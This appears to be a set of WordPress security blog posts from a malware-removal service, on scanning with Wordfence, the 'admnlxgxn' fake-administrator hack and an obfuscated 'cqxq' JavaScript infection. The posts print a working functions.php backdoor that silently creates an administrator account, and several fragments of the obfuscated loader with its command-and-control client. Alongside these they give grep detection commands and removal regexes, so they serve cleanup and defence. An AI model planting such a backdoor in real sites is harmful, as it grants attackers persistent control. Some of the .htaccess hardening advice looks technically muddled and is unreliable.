    7. Navigate back to the main scan page (Wordfence > Scan) and click the “Start New Scan” button.

    Wordfence High Sensitivity scan setting

    The scan will take longer to complete than a standard one. This is normal because it’s being incredibly thorough.

    What to Do After the Scan

    Once the scan is finished, Wordfence will present a results list. It will flag unauthorized changes to your main .htaccess file and may identify other suspicious files. Wordfence will show you exactly what code is suspicious and give you options to repair or delete the files.

    Wordfence scan results showing a modified file

    Important: Before you delete or repair any files, always create a full backup of your website. This ensures you can restore your site if anything goes wrong during the cleanup process.


    Keeping the Hackers Out: Prevention is the Best Cure

    Cleaning up a hacked site is stressful. It’s much better to prevent the hack from happening in the first place. Here are some simple but effective steps to protect your .htaccess file and your entire website: 🛡️

    • Harden File Permissions: Set the permissions for your .htaccess file to 644. This makes the file “read-only” for everyone but you, preventing unauthorized scripts from modifying it.
    • Use Strong Passwords: This is non-negotiable. Use long, unique passwords for your WordPress admin, FTP accounts, and hosting control panel.
    • Keep Everything Updated: Hackers often get in through outdated plugins, themes, or WordPress core. Always update to the latest versions.
    • Use a Security Plugin: Keep Wordfence active. Its firewall will block many attacks before they can reach your site, and its regular scans will alert you to any problems.

    Conclusion: Take Control of Your Website’s Security

    Your .htaccess file may be hidden, but it plays a starring role in your website’s health. Understanding that even “good” code can be used with bad intent is the first step toward true security. Malicious redirects or a total site lockdown can undo all of your hard work, but you don’t have to fight back alone.

    By using powerful tools like the Wordfence High Sensitivity scan, you can turn the tables on hackers. Schedule regular, deep scans of your website to find and eliminate threats before they cause lasting damage. Stay vigilant, stay updated, and let your gatekeeper work for you, not against you.

  • Is Your Website Hacked by “admnlxgxn”? Here’s How to Spot It and Clean It Up

    Is Your Website Hacked by “admnlxgxn”? Here’s How to Spot It and Clean It Up

    If you notice any weird stuff happening on your WordPress site, like strange posts or redirects to spammy casino pages, then you might be dealing with the “admnlxgxn” hack. This is a tricky malware attack that targeted thousands of WordPress sites in 2025 by adding fake users and backdoors to push gambling spam.

    Yes, it is a serious issue, but don’t worry; today in this blog post, we will assist you in spotting the signs of this hack and how to remove malware from a WordPress site with proper WordPress malware removal steps. We will also share some tips to keep your site safe with WordPress malware cleanup, WordPress virus removal, and WordPress security hardening.

    If you are worried and thinking, “My WordPress website is hacked!” or just want to stay ready, then we are here to guide you with simple steps for fixing a hacked WordPress site, removing viruses, and doing a full website hack repair.

    Signs Your Website Might Be Hacked by “admnlxgxn

    The admnlxgxn hack is sneaky, but the signs are clear by which indicate that your website is hacked. However, a WordPress site that has been hacked with malware that can be spotted easily by finding these red flags below.

    • Fake “admnlxgxn” User in Admin Panel: Log into your WordPress dashboard and go to Users. If you see a user named “admnlxgxn” (or something similar) listed as an administrator, then it’s a big warning sign that your website is hacked. However, hackers create this fake user to control your site.
    • Suspicious Code in functions.php: Sometimes hackers hide a script in your theme’s functions.php file (found in wp-content/themes/your-theme/). This script will automatically create a new admnlxgxn user and prevent it from being removed, even if you attempt to delete it.
    
    function wpb_admin_account(){
        $user = 'admnlxgxn';
        $pass = 'randompassword';
        $email = 'wordpresupportadm11@gmail.com';
        if ( !username_exists( $user ) && !email_exists( $email ) ) {
            $user_id = wp_create_user( $user, $pass, $email );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );
        }
    }
    add_action('init','wpb_admin_account');
    

    Sometimes the code is hidden (encrypted), and sometimes it shows clearly. You need to find it, and Wordfence’s sensitive mode, a WordPress malware scanner, can catch this malware backdoor.

    • Unknown Themes or Plugins: Spot any weird themes or plugins you didn’t install? These are often backdoors that hackers use to keep access. They might look legit, but are designed for a WordPress site redirecting to spam or injecting casino links.
    • Spam Posts or Redirects: Your site might suddenly have posts about online casinos or adult products, often with weird titles like “Pinco Casino Bonus 4815.” Visitors might also get redirected to sketchy sites, classic signs of a WordPress hacked site fix.

    If any of these happened to your website, then don’t panic. You can clean a hacked WordPress website with the right steps. Now, let’s have a look at how to remove malware from a WordPress site and save a WordPress website.

    How to Remove Backdoor Malware from Your WordPress Site?

    To remove the admnlxgxn hack, you need to work a little bit, but you can do it. Follow these steps for WordPress malware cleanup to get your site back to normal. However, if you feel this is complicated, then you can always hire WordPress malware removal experts for a professional WordPress malware cleanup.

    1. Backup Your Site (Do It Safely!): Before touching anything, back up your site. This saves your content in case something goes wrong during WordPress virus removal. Use trusted plugins like:
      • UpdraftPlus: Easy to use, saves backups to Google Drive or Dropbox.
      • All-in-One WP Migration: Great for full site backups.
    2. Scan with Wordfence in Sensitive Mode: Now, install the Wordfence plugin (free version works fine) and run a scan in sensitive mode. It will scan carefully to uncover hidden malware, like secret scripts or fake users. Wordfence is one of the top WordPress malware scanners and will flag anything suspicious, like admnlxgxn-related malicious codes.
    3. Remove Unknown Themes and Plugins: Some unknown fake themes and plugins don’t show up in the Appearance > Themes or Plugins section inside wp-admin. To find them all, use your hosting file manager, cPanel, or FTP to verify all the plugin and theme names in the wp-content/themes and wp-content/plugins folders.

    If they do appear in the dashboard:

    • Under Appearance > Themes, please remove any themes you do not recognize.
    • Under Plugins, please remove any plugins that you did not install.

    If you are not sure what’s legit, then compare with your site’s original setup or check with your developer.

    1. Search Your Database for Malware: Moreover, Hackers Can Also hide spam in your WordPress database. Use a tool like phpMyAdmin (available in your hosting control panel) to search for:
    • Keywords like “admnlxgxn,” “casino,” or “Pinco.”
    • Suspicious links or scripts.

    Delete any spam posts or comments you find. However, be careful before removing anything; only remove what is clearly malicious to avoid compromising your site.

    1. Delete Fake Users Like “admnlxgxn“: In your WordPress dashboard, go to Users and delete the admnlxgxn user (or any unknown accounts). If it continuously happens to you, then check your theme’s functions.php file for a script creating them. Use FTP or your hosting file manager to access wp-content/themes/your-theme/functions.php and remove any weird code.
    2. Reinstall Themes and Plugins: To stay safe, reinstall your themes and plugins to replace any infected files. Try the Force Reinstall plugin; it will make this super easy by reinstalling a fresh version from the WordPress repository without losing settings.
    3. Update All Passwords: Change every password to lock and keep hackers out:
    • WordPress Admin: Update all user passwords in the dashboard.
    • FTP/SFTP: Reset all the credentials in your hosting panel.
    • cPanel/Hosting Account: Create a strong, new password.
    • Database: Update the database password in wp-config.php.

    Use long, random passwords (at least 12 characters) with letters, numbers, and symbols.

    1. Double-Check and Monitor: Run another Wordfence scan to confirm that malware is gone. Also, check your site in Google Search Console for any “hacked content” or warnings. Keep an eye on logs regularly for a few weeks to ensure no new unusual activity appears.

    Preventing Future Hacks: Simple WordPress Security Tips

    Once you have cleaned your site, it is now time to protect it with website security and malware protection for WordPress. Here’s how:

    • Use a Firewall: Install a WordPress firewall and security plugin, such as Wordfence or an all-in-one WP Security plugin, to block malicious traffic.
    • Keep Everything Updated: Regularly update WordPress, themes, and plugins to fix security weaknesses.
    • Strong Passwords & 2FA: Use complex passwords and add two-factor authentication (2FA) for extra security.
    • Limit Login Attempts: You can use plugins like Limit Login Attempts Reloaded to stop hackers from guessing passwords.
    • Regular Scans: Once a week, schedule a scan with a WordPress malware scanner to catch issues early.
    • Backup Often: Set up automatic backups with UpdraftPlus so you’re always prepared.

    For extra safety, consider a WordPress security service provider that offers website security and malware protection for WordPress.

    Why You Should Act Fast

    The admnlxgxn hack isn’t just annoying, it can hurt your SEO, take your visitors away, and even get your site blacklisted by Google. Acting quickly with a WordPress website malware removal service or hiring WordPress malware removal experts will help you to fix a hacked WordPress site before it gets worse.

    Wrap-Up: Take Control of Your Site Today

    Dealing with a WordPress site hacked with malware like admnlxgxn is painful and unexpected, but you can fix it. Use our guide to remove malware from a WordPress site, secure it with WordPress malware protection, or hire a professional WordPress malware cleanup team if needed.

    Don’t let hackers ruin your hard work; take action now with strong website security and malware protection for WordPress.

  • Dangerous JavaScript Malware Targeting WordPress and Node.js Sites

    Dangerous JavaScript Malware Targeting WordPress and Node.js Sites

    Introduction

    JavaScript malware infections have become increasingly sophisticated, with recent campaigns affecting thousands of websites worldwide. One particularly dangerous variant has been targeting WordPress and Node.js applications, specifically those hosted on cPanel environments. This malware employs advanced obfuscation techniques to evade detection while establishing persistent backdoor access to compromised websites.

    What is This JavaScript Malware?

    This malware is a highly obfuscated JavaScript injection that targets web applications, particularly WordPress sites and Node.js applications. The infection spreads by infecting all writable JavaScript files on the server, creating a persistent presence that’s difficult to completely remove.

    Key Characteristics:

    • Multi-file Infection: Spreads across thousands of JavaScript files
    • Heavy Obfuscation: Uses advanced code obfuscation to avoid detection
    • cPanel Targeting: Primarily affects cPanel-hosted websites
    • Persistent Backdoor: Maintains access even after initial cleanup
    • Cross-platform: Affects both WordPress and Node.js environments

    Technical Analysis of the Malware Code

    Let’s break down the malicious code structure:

    1. Obfuscation Layer

    if(typeof cqxq==="undefined"){
        (function(W,y){
            var A=a0y,h=W();
            while(!![]){
                try{
                    var e=-parseInt(A(0xa1,'qcC%'))/(0x124a+0xdaf+-0x1ff8)*
                    // Heavy mathematical obfuscation continues...
    

    The malware starts with a check for the cqxq variable to prevent re-execution. It then uses a complex mathematical obfuscation scheme with hexadecimal values to hide its true purpose.

    2. HTTPClient Implementation

    var HttpClient=function(){
        var H=a0y;
        this[H(0x94,'hG7i')]=function(W,y){
            var j=H,h=new XMLHttpRequest();
            // Establishes communication with command & control server
    

    The malware creates an HTTP client to communicate with command and control (C2) servers, allowing remote attackers to execute commands on infected websites.

    3. Token Generation System

    rand=function(){
        var K=a0y;
        return Math[K(0x72,'Ksot')+K(0xa9,'MH^(')]()
        [K(0xb8,'p]0[')+K(0xae,'ydx2')+'ng'](0x1013+-0xc*0x2ce+-0xd*-0x15d)
        [K(0x8d,'e!tf')+K(0xa8,'jYYK')](-0x159b*0x1+-0x1e46+-0x33e3*-0x1);
    },
    token=function(){return rand()+rand();};
    

    The malware generates random tokens for authentication with the C2 server, making detection more difficult.

    4. Deobfuscation Function

    function a0y(W,y){
        var h=a0W();
        return a0y=function(e,u){
            e=e-(0xe76+-0x3a*-0x3d+-0x1bd6);
            var S=h[e];
            if(a0y['sudkJi']===undefined){
                // Complex string decryption process
    

    The malware includes its own deobfuscation function that dynamically decrypts strings and function calls at runtime.

    How the Malware Spreads

    Initial Infection Vectors:

    1. Vulnerable Plugins: Exploiting outdated WordPress plugins
    2. Weak Credentials: Brute force attacks on admin accounts
    3. File Upload Vulnerabilities: Through unprotected upload forms
    4. FTP Compromise: Weak FTP credentials in cPanel environments

    Propagation Method:

    Once inside, the malware:

    • Scans for all .js files in the web directory
    • Injects itself at the beginning of each file
    • Maintains a persistent presence across updates
    • Creates backup copies in hidden directories

    Identifying the Infection

    Common Symptoms:

    • Unexpected redirects to suspicious websites
    • Slow website loading times
    • Unknown JavaScript files in your directories
    • Presence of obfuscated code in legitimate JS files
    • SEO spam or malicious ads appearing on your site

    Detection Command:

    # Search for the malware signature in all JS files
    grep -r "if(typeof cqxq" /path/to/your/website/
    

    File Analysis:

    # Find all recently modified JS files
    find /path/to/website -name "*.js" -mtime -7 -exec ls -la {} \;
    

    Complete Removal Process

    Step 1: Immediate Response

    # Take site offline temporarily
    # Change all passwords (cPanel, WordPress admin, FTP, database)
    # Create a complete backup before cleanup
    

    Step 2: Download Website Files

    The most effective way to clean this malware is to work locally:

    1. Download all website files via FTP, cPanel File Manager, or hosting control panel
    2. Create a local backup before making any changes
    3. Use VS Code for bulk cleaning (most reliable method)

    Step 3: VS Code Cleaning Method (Recommended)

    This is the best and most thorough approach for cleaning this malware:

    3.1 Open Project in VS Code

    # Download your website files locally
    # Open the entire website folder in VS Code
    code /path/to/downloaded/website-files
    

    3.2 Use Global Search & Replace

    1. Press Ctrl+Shift+H (Windows/Linux) or Cmd+Shift+H (Mac) to open Find and Replace
    2. Click the “Replace in Files” option (the folder icon)
    3. Search for the malware pattern:
      if(typeof cqxq==="undefined"){
      

    3.3 Advanced Search Pattern

    For more comprehensive cleaning, use this regex pattern in VS Code:

    if\(typeof cqxq===["']undefined["']\)\{[\s\S]*?\}\(\)\);
    

    Settings for VS Code search:

    • ✅ Enable “Use Regular Expression” (the .* icon)
    • ✅ Enable “Case Sensitive” if needed
    • Replace with: (leave empty)
    • Files to include: *.js

    3.4 Step-by-Step VS Code Cleaning:

    1. Open Find and Replace (Ctrl+Shift+H)
    2. Enter the malicious code
    3. Leave replacement field empty
    4. Click “Replace All” button
    5. VS Code will show you all matches across all files
    6. Review the matches to ensure they’re malware (not legitimate code)
    7. Confirm replacement to remove all instances

    Step 4: Manual Verification

    After bulk replacement, manually check some files:

    // Look for any remaining suspicious patterns:
    // - Obfuscated function names (a0y, a0W, etc.)
    // - Heavy mathematical operations in hexadecimal
    // - XMLHttpRequest implementations with random tokens
    // - Base64 encoded strings
    

    Step 5: Additional Cleaning Patterns

    Search and replace these additional patterns in VS Code:

    Pattern 1: Function declarations

    Search: function a0y\([\s\S]*?\}
    Replace: (empty)
    

    Pattern 2: Variable declarations

    Search: var cqxq=!!.*?;
    Replace: (empty)
    

    Pattern 3: Obfuscated arrays

    Search: function a0W\(\)\{[\s\S]*?\}
    Replace: (empty)
    

    Step 5: Security Hardening

    # .htaccess rules to prevent future infections
    <Files "*.js">
        Order Allow,Deny
        Allow from all
        <FilesMatch "\.(php|phtml|php3|php4|php5|pl|py|jsp|asp|aspx|sh)$">
            Deny from all
        </FilesMatch>
    </Files>
    
    # Prevent access to sensitive files
    <Files ~ "^\.">
        Order allow,deny
        Deny from all
    </Files>
    

    Prevention Strategies

    1. Regular Updates

    • Keep WordPress core, themes, and plugins updated
    • Update Node.js and npm packages regularly
    • Monitor security advisories

    2. Strong Access Controls

    # Limit login attempts
    <Location "/wp-admin">
        AuthType Basic
        AuthName "Admin Area"
        Require valid-user
    </Location>
    

    3. File Integrity Monitoring

    # Set up file integrity monitoring
    find /public_html -type f -name "*.js" -exec md5sum {} \; > js_hashes.txt
    

    4. Security Headers

    # Add security headers
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
    Header always set Content-Security-Policy "script-src 'self'"
    

    What Makes This Malware Dangerous?

    1. Advanced Obfuscation

    Over 25% of malicious JavaScript uses obfuscation techniques, making this malware particularly challenging to detect and remove.

    2. Persistence Mechanisms

    The malware creates multiple infection points, making complete removal difficult without proper tools and expertise.

    3. Data Harvesting Capabilities

    The C2 communication allows attackers to:

    • Steal sensitive user data
    • Inject additional malware
    • Use your site for SEO spam
    • Launch attacks on other websites

    Professional Removal Services

    If you’re dealing with this infection, consider professional help. Malware campaigns have become increasingly sophisticated, switching between different techniques to maintain persistence.

    For comprehensive malware removal services, including this specific JavaScript malware, visit: WordPress Malware Removal Service

    Conclusion

    This JavaScript malware represents a significant threat to WordPress and Node.js websites, particularly those hosted on cPanel environments. Its sophisticated obfuscation and persistence mechanisms make it challenging to remove without proper expertise.

    Key takeaways:

    • Regular monitoring and updates are essential
    • Professional removal may be necessary for complete cleanup
    • Implement proper security measures to prevent reinfection
    • Always maintain current backups of your website

    Stay vigilant and keep your websites secure. If you suspect an infection, act quickly to minimize damage and protect your visitors’ data.


    Need Help? If you’re struggling with this malware infection, don’t hesitate to seek professional assistance. Quick action can prevent further damage and protect your website’s reputation.